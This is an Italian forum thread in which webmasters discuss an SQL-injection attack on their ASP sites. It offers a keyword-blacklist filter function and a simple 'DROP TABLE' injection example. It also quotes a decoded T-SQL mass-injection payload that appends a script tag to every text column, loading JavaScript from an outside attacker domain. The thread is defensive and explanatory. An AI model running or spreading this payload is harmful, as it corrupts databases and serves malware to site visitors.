• Bannato User Attivo

    intanto è assurdo che se la marca non esiste il sito si inchioda:

    ADODB.Field error '800a0bcd'
    Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
    /Marche/elenco_marche.asp, line 39
    dovrebbe comparire un messaggio del tipo "Marca non trovata" oppure rimandare all'homepage del sito.

    Sono questi messaggi d'errore che suggeriscono agli hacker che tipo di attacco eseguire su un sito.

    Poi, mi ripeto, la marca più lunga che hai è "tucano urbano", 13 caratteri, controlla che se ti arriva una marca più lunga di 13 caratteri allora sicuramente è sbagliata o frutto di tentativo di hackeraggio.
    Tutte le marche sono formate da lettere (abcdefghilmnopqrstuvz) con al massimo un trattino (-) e/o un punto (.), controlla anche che la marca che ti arriva sia formata solo da questo set di caratteri, altri caratteri non devono essere consentiti.
    Se proprio vuoi un controllo sicuro metti tutte le marche in un array e quando ti passano una marca controlli che esista in quell'array di marche altrimenti NON fai la query.

    P.S.:
    Peccato che non ho una moto altrimenti potevo chiederti qualcosa in regalo in cambio della consulenza:D


  • User Attivo

    Quasta tipologia di attaco è stata effetuata su diversi miei siti quindi non mi sapresti consigliare una regola generale?
    O quel codice può includere tutte le falle?
    e quindi non si può evitare con qualche script o cos'altro?


  • Bannato User Attivo

    non conosco tutti i tuoi siti, ma l'attacco di solito si porta passando codice malevolo alle variabili in GET (POST o COOKIE).
    Se vuoi usare un metodo generico per difenderti, usa una funzione per tutti i siti e scrivila in maniera tale che copra un pò tutti i casi descritti prima senza limitare le funzionalità dei siti.

    Io userei una funzione del genere:

    'Function IllegalChars to guard against SQL              injection
                Function IllegalChars(sInput) 
                'Declare variables 
                Dim sBadChars, iCounter 
                'Set IllegalChars to False 
                IllegalChars=False
                'Create an array of illegal characters and words              
                sBadChars=array("select", "drop", ";",              "--", "insert", "delete", "xp_",              _
                "#", "%", "&", "'", "(",              ")", "/", "\", ":", ";",              "<", ">", "=", "[",              "]", "?", "`", "|", "@", " ") 
                'Loop through array sBadChars using our counter              & UBound function
                For iCounter = 0 to uBound(sBadChars) 
                'Use Function Instr to check presence of illegal              character in our variable
                If Instr(sInput,sBadChars(iCounter))>0 Then
                IllegalChars=True
                End If
                Next 
                End function
    ```poi la chiami su tutte le variabili che provengono dalla request:
    

    'Call the function IllegalChars to check for illegal characters
    If IllegalChars(sMarca)=True Then
    Response.redirect("no_access.asp")
    End If


  • User Attivo

    Ottmo e scusami se ti sembra che abbia collaborato poco adatterò la tua funzione a sencoda dei miei casi
    grazie mille


  • User Attivo

    per curiosità, il tipo di attacco che hai subito ti ha lasciato questo nel db:

    <script src=http://www.killwow1.cn/g.js></script>

    Se ho capito bene dovrebbe essere qualche sorta di JS maligno quindi vi invito a non scaricarlo ecc.


  • Bannato User Attivo

    mmh, si sono fatti un bel giretto sti tizi, risultano: Risultati 1 - 10 su circa 654.000 ⭕o


  • User Attivo

    A me è un altro script semre del tipo.
    <script src=http://www......js></script>

    è un casino su quasi tutti i siti.
    Sto tentando diverse soluzioni ma niente.

    Se lo scriot che ha messo tonyx è maligno
    CANCELLATELO SUBITO DAL FORUM!!!

    Scusate il maiusculetto.


  • User Attivo

    E' un codice che si è sparso un bel pò sul web, molto probabilmente con qualche sorta di tool automatizzato.

    Decodificando il codice unicode si ottengono queste istruzioni T-sql:

    DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://www.killwow1.cn/g.js></script>''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

    Non ho ben capito, ma sembrerebbe che questo codice vada a vedere nella tabella sysobjects quante tabelle ci sono nel db e quanti campi (testuali presumo) e poi gli aggiunge sto codice <script src=http://www.killwow1.cn/g.js></script> ad ogniuno di questo campo, sperando forse che quando i dati vadano in output sul web in automatico venga eseguito questo codice malevole sul pc client.
    Ho provato anche a scaricarlo per studiarlo ma sembrerebbe che il dominio è down.


  • User Attivo

    @nandonando2 said:

    A me è un altro script semre del tipo.
    <script src=http://www......js></script>

    è un casino su quasi tutti i siti.
    Sto tentando diverse soluzioni ma niente.

    Se lo scriot che ha messo tonyx è maligno
    CANCELLATELO SUBITO DAL FORUM!!!

    Scusate il maiusculetto.

    Nando io ho messo solo un url, non viene eseguito automaticamente e poi ho anche avvertito di non scaricarlo (cmq io ci ho provato per sturiarlo ed il sito è down) quindi non c'è rischio.


  • User Attivo

    Scusa ma c'è qualche soluzione?
    Ho levato tutto o quasi inerente al sql iniection, ora cambio i permessi dell'utente del db e li metto in sola lettura ma vorrei capire quale è la vulnerabilità, ne sai qualcosa di più?
    Quale protezione consigli?


  • User Attivo

    Per capire bene il problema dovresti avere una conoscenza quantomeno media del linguaggio SQL. Ti faccio un esempio di una query e un esempio di injection. Prendiamo il classico caso si un Db di una libreria.

    Una semplice query SQL che seleziona una riga dal database può essere la seguente:

    SELECT * FROM TabLibri WHERE IdLibro = 3

    Ora che succede, molte volte per rendere dinamico un sito si associa una variabile che a seconda del valore passatogli tira fuori il libro richiesto dalla tabella TabLibri, in asp verrebbe una cosa tipo questa:

    query = "SELECT * FROM TabLibri WHERE IdLibro =" & request("idlibro")

    Questa riga di codice è vulnerabile all'SQL Injection, perchè finquando mi limito a passargli un valore numerico tipo: 3 (come nell'esempio sopra) tutto funziona, ma che succese se ad esempio io gli passassi questo valore:
    *3; DROP TABLE tabLibri
    *Semplicemente oltre al valore 3 che gli passo per non far andare in errore aggiungo ";" che non fa altro che informare SQL Server dicendogli che la prima istruzione è finita ora segue la secona, la seconda istruzione è maligna, anzi distruttiva, praticamente ti cancella la tabella "tabLibri".

    Capito questo esempio?

    Ora in questo e sottolineo questo esempio per evitare una cosa del genere bisognerebbe eseguire un controllo dell'input e verificare che esso sia esclusivamente numerico.

    Come diceva saro78 non esiste 1 solo carattere da tener sotto controllo, sono una serie di caratteri, io penso che il miglior modo per prevenire l'sql injection è sempre tentare di capire come potrebbero essere inserite istruzioni sql ed evitarle.

    Ti consiglio prima di tutto di imparare meglio l'SQL e di leggerti i numerosi documenti che si trovano in internet riguardante l'SQL Injection.

    Saluti


  • User Attivo

    Diciamo che avevo evitato il problema ma ho fatto un errore in pratica non ho considerato il passaggio di più valori ossia doppie variabili
    es miapagin.asp?val1=10&val2=dd

    non ho esaminato i casi tipo val2
    cerco di provvedere

    Grazie